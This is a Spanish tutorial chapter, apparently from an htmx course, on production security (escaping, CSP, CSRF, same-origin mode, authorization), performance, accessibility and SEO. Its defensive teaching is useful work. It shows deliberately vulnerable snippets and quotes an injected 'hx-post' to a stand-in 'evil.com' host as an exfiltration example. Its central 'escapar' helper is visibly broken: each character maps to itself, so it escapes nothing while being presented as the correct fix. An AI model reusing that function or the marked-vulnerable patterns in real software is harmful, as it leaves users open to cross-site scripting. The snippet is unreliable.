Seguridad y producción
Seguridad y producción
htmx mueve el renderizado al servidor, lo que elimina categorías enteras de problemas de una SPA
(estado duplicado, tokens en localStorage, lógica de negocio en el bundle). A cambio, concentra
la responsabilidad en un punto: todo lo que devuelves es HTML que el navegador va a ejecutar.
La regla número uno: escapar
flowchart LR
A[Dato de usuario] --> B{¿Se escapó?}
B -->|No| C["<script> ejecutado<br/>XSS"]
B -->|Sí| D["Texto inofensivo"]
const escapar = (s) =>
String(s ?? "").replace(/[&<>"']/g, (c) => ({
"&": "&", "<": "<", ">": ">", '"': """, "'": "'",
}[c]));
// ❌ Vulnerable
return html(`<li>${tarea.titulo}</li>`);
// ✅ Correcto
return html(`<li>${escapar(tarea.titulo)}</li>`);
Si usas un motor de plantillas real (Nunjucks, Jinja, Blade, ERB, templ, Go templates), el escapado
es automático y no debes desactivarlo con |safe, {{{ }}} o raw salvo que el contenido sea
tuyo y esté sanitizado.
Atención especial a los atributos
Interpolar dentro de un atributo tiene trampas adicionales:
// ❌ Comillas rotas → inyección de atributos
`<button hx-confirm="¿Eliminar ${titulo}?">`
// ✅ Escapado que incluye comillas
`<button hx-confirm="¿Eliminar ${escapar(titulo)}?">`
Y nunca construyas atributos hx-* con datos de usuario:
// ❌ Un usuario podría controlar la URL de la petición
`<button hx-get="${urlDelUsuario}">`
textContent como red de seguridad
Cuando muestres contenido de usuario que no necesita marcado, el swap textContent no parsea HTML:
<span hx-get="/nombre" hx-swap="textContent"></span>
hx-ignore: zonas sin htmx
Si insertas HTML de terceros (comentarios, contenido de un CMS, un iframe de marketing), evita que htmx procese atributos que puedan venir dentro:
<div hx-ignore>
<!-- Contenido no confiable: htmx no procesa nada aquí dentro -->
{{ contenidoExterno }}
</div>
Recuerda: en htmx 2 esto se llamaba hx-disable. En htmx 4, hx-disable significa otra cosa.
Content Security Policy
Una CSP estricta es la segunda línea de defensa contra XSS. El problema es que varias comodidades de htmx dependen de evaluación dinámica:
| Funcionalidad | Requiere |
|---|---|
hx-on:<evento> | unsafe-inline en script-src |
hx-vals='js:…' | unsafe-eval |
Filtros hx-trigger="[expr]" | unsafe-eval |
Expresiones de hx-live | unsafe-eval |
Opción 1: CSP estricta sin esas funcionalidades
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self';
connect-src 'self';
Todo el core de htmx (verbos, triggers sin filtros, targets, swaps, partials, herencia) funciona
perfectamente bajo esta política. Lo que pierdes son los hx-on y las expresiones. La alternativa
es JavaScript en archivos externos:
// app.js
htmx.on("htmx:after:request", (e) => {
if (e.target.matches("form.reset-al-enviar") && e.detail.ctx.response.status < 400) {
e.target.reset();
}
});
Opción 2: nonces
<meta name="htmx-config" content='inlineScriptNonce:"abc123"'>
Content-Security-Policy: script-src 'self' 'nonce-abc123'
El nonce debe generarse por respuesta, no ser constante.
Opción 3: la extensión hx-csp
Diseñada para operar bajo CSP estricta. Es la vía recomendada si necesitas conservar los hx-on.
mode: same-origin
Restringe htmx a hacer peticiones únicamente al mismo origen:
<meta name="htmx-config" content='mode:"same-origin"'>
Con esto, aunque un atacante logre inyectar hx-post="https://evil.com/robar", la petición no sale.
Es una mitigación barata que deberías activar en toda aplicación que no consuma APIs externas desde
htmx. Reemplaza a selfRequestsOnly de htmx 2.
Allowlist de extensiones
<meta name="htmx-config" content='extensions:"hx-sse, hx-preload"'>
Sólo esas extensiones podrán registrarse. Un script inyectado no puede activar una extensión que intercepte todas tus peticiones.
CSRF
htmx envía las cookies como cualquier petición del navegador, así que aplica la protección CSRF habitual. El patrón limpio es un header heredado en el layout:
<body hx-headers:inherited='{"X-CSRF-Token": "{{ csrfToken }}"}'>
En el servidor, valida ese header en todo método que no sea GET. Complementa con
SameSite=Lax o Strict en la cookie de sesión.
Si un botón necesita añadir headers sin perder el token heredado:
<button hx-post="/api" hx-headers:append='{"X-Request-ID": "abc"}'>Enviar</button>
Autorización: en el servidor, siempre
El error conceptual más común al pasar de SPA a htmx es asumir que “si no muestro el botón, nadie puede hacer la acción”. Ocultar un botón es UX, no seguridad:
// ❌ La comprobación está sólo en la vista
if (usuario.esAdmin) {
html += `<button hx-delete="/usuarios/${id}">Eliminar</button>`;
}
// ✅ Y también en el endpoint
if (pathname.match(/^\/usuarios\/\d+$/) && metodo === "DELETE") {
if (!usuario?.esAdmin) return new Response("Prohibido", { status: 403 });
…
}
Cada endpoint que devuelve un fragmento es una URL pública: cualquiera puede pedirla directamente
con curl. Los fragmentos también necesitan control de acceso.
Cabeceras de respuesta recomendadas
const cabecerasSeguras = {
"Content-Type": "text/html; charset=utf-8",
"X-Content-Type-Options": "nosniff",
"Referrer-Policy": "strict-origin-when-cross-origin",
"X-Frame-Options": "DENY",
};
nosniff importa especialmente en htmx: impide que el navegador reinterprete una respuesta como
otro tipo de contenido.
Rendimiento
Tamaño y caché
htmx pesa unos 14 kB minificado y comprimido. Sírvelo desde tu dominio con caché agresiva:
Cache-Control: public, max-age=31536000, immutable
Con la versión en la ruta (/js/htmx-4.0.0-beta6.min.js) puedes cachear para siempre.
Comprimir el HTML
Los fragmentos HTML comprimen extraordinariamente bien porque son repetitivos. Activa Brotli o gzip: un fragmento de 8 kB suele quedar en menos de 1 kB.
Devolver lo mínimo
// ❌ Devuelve la página entera para actualizar una fila
return html(paginaCompleta(datos));
// ✅ Devuelve la fila
return html(fila(dato));
Cuándo devolver de más
La excepción: con innerMorph, devolver una sección completa puede ser más simple y casi igual de
barato, porque el morphing sólo toca lo que cambió. Prefiere eso antes que quince <hx-partial>
distintos.
Consultas N+1
El riesgo se traslada al servidor. Si tu fragmento de lista hace una consulta por elemento, lo vas a notar. Es el mismo problema de siempre, con las mismas soluciones: cargar en lote.
Evitar cascadas de hx-trigger="load"
<!-- ❌ Cada panel espera al anterior si comparten un pool de conexiones limitado -->
<div hx-get="/p1" hx-trigger="load"></div>
<div hx-get="/p2" hx-trigger="load"></div>
<div hx-get="/p3" hx-trigger="load"></div>
Si son muchos, considera hx-multipart (una petición, varias partes) o consolidar en un endpoint
que devuelva varios <hx-partial>.
Accesibilidad
htmx actualiza el DOM sin recargar la página, así que los lectores de pantalla necesitan pistas:
<!-- Anunciar cambios dinámicos -->
<div id="avisos" aria-live="polite" aria-atomic="true"></div>
<!-- Estado de carga -->
<form :aria-busy="matches('.htmx-request')" hx-post="/guardar">
<!-- Botones con propósito claro -->
<button hx-delete="/tareas/5" aria-label="Eliminar la tarea Comprar café">×</button>
Y respeta las preferencias de movimiento:
@media (prefers-reduced-motion: reduce) {
*, .htmx-swapping, .htmx-added {
transition: none !important;
animation: none !important;
}
}
Un punto a favor de htmx: como el HTML se genera en el servidor y los enlaces son enlaces reales, la navegación con teclado y el HTML semántico funcionan por defecto.
SEO
Con hx-boost, los enlaces son <a href> reales y las URLs sirven documentos completos: los
buscadores indexan sin ninguna configuración. Requisitos:
- Cada URL debe responder un documento completo a una petición sin
HX-Request. - Los
<title>y las meta tags deben venir en esa respuesta completa. - No escondas navegación detrás de
<button hx-get>: usa<a href>boosteado.
Errores y observabilidad
htmx.on("htmx:error", (e) => {
navigator.sendBeacon("/telemetria", JSON.stringify({
tipo: "htmx:error",
url: location.pathname,
detalle: String(e.detail?.error ?? ""),
}));
});
htmx.on("htmx:response:error", (e) => {
navigator.sendBeacon("/telemetria", JSON.stringify({
tipo: "http",
status: e.detail.ctx.response.status,
url: location.pathname,
}));
});
Del lado del servidor, el header HX-Source te dice exactamente qué elemento originó cada petición,
lo que hace los logs mucho más útiles que un simple POST /tareas.
Checklist de producción
Seguridad
- Todo dato de usuario va escapado, también dentro de atributos
- Ningún atributo
hx-*se construye con datos de usuario -
hx-ignoreen zonas con contenido de terceros - CSP configurada (estricta, con nonce o con
hx-csp) -
mode:"same-origin"activado - Allowlist de extensiones declarada
- Token CSRF heredado en el layout y validado en el servidor
- Autorización verificada en cada endpoint de fragmento
- Cabeceras
nosniff,Referrer-Policy,X-Frame-Options
Rendimiento
- htmx servido desde el propio dominio con caché inmutable
- Compresión Brotli o gzip activada
- Los endpoints devuelven fragmentos, no páginas
- Sin consultas N+1 en los fragmentos de lista
- Timeouts ajustados para las operaciones largas
Funcionamiento
- Cada URL responde un documento completo sin
HX-Request - El botón “atrás” funciona en todas las rutas
- Los errores 4xx/5xx devuelven fragmentos propios, no la página del framework
- Todas las acciones lentas tienen indicador
- Los envíos usan
hx-disable
Accesibilidad
- Zonas dinámicas con
aria-live - Botones de icono con
aria-label -
prefers-reduced-motionrespetado - Navegación con
<a href>reales, boosteados
De 0 a hero: qué aprendiste
flowchart TD
A["Cualquier elemento<br/>hace peticiones"] --> B["Triggers, targets y swaps<br/>el triángulo de htmx"]
B --> C["Herencia explícita<br/>y HCON"]
C --> D["Partials y morphing<br/>varias zonas, sin destruir estado"]
D --> E["Eventos, hx-status y UX<br/>interfaces que se sienten rápidas"]
E --> F["Streaming y extensiones<br/>tiempo real sin framework"]
F --> G["Aplicación completa<br/>sin build, sin JSON, sin estado duplicado"]
El principio que atraviesa todo: el servidor devuelve HTML, el navegador lo muestra. Cuando una funcionalidad se vuelve difícil en htmx, la pregunta correcta casi nunca es “¿qué atributo me falta?” sino “¿qué fragmento debería devolver el servidor?”.
Recursos
- Documentación oficial de htmx 4:
four.htmx.org - Ensayo “The fetch()ening”:
htmx.org/essays/the-fetchening/ - Repositorio:
github.com/bigskysoftware/htmx - El libro Hypermedia Systems (gratuito en línea): la teoría detrás de todo esto
Resumen
- Escapar todo dato de usuario es la responsabilidad número uno;
textContentes la red de seguridad. hx-ignoreaísla contenido no confiable (erahx-disableen htmx 2).- El core de htmx funciona bajo CSP estricta;
hx-ony las expresiones necesitan nonce ohx-csp. mode:"same-origin"y el allowlist de extensiones son mitigaciones baratas.- La autorización va en cada endpoint: ocultar un botón no protege nada.
- Devolver fragmentos mínimos, comprimidos y cacheados es la mitad del rendimiento; la otra mitad son las consultas del servidor.
- Con
aria-live,aria-labelyprefers-reduced-motion, una app htmx es accesible por defecto.
Vuelve al índice del curso.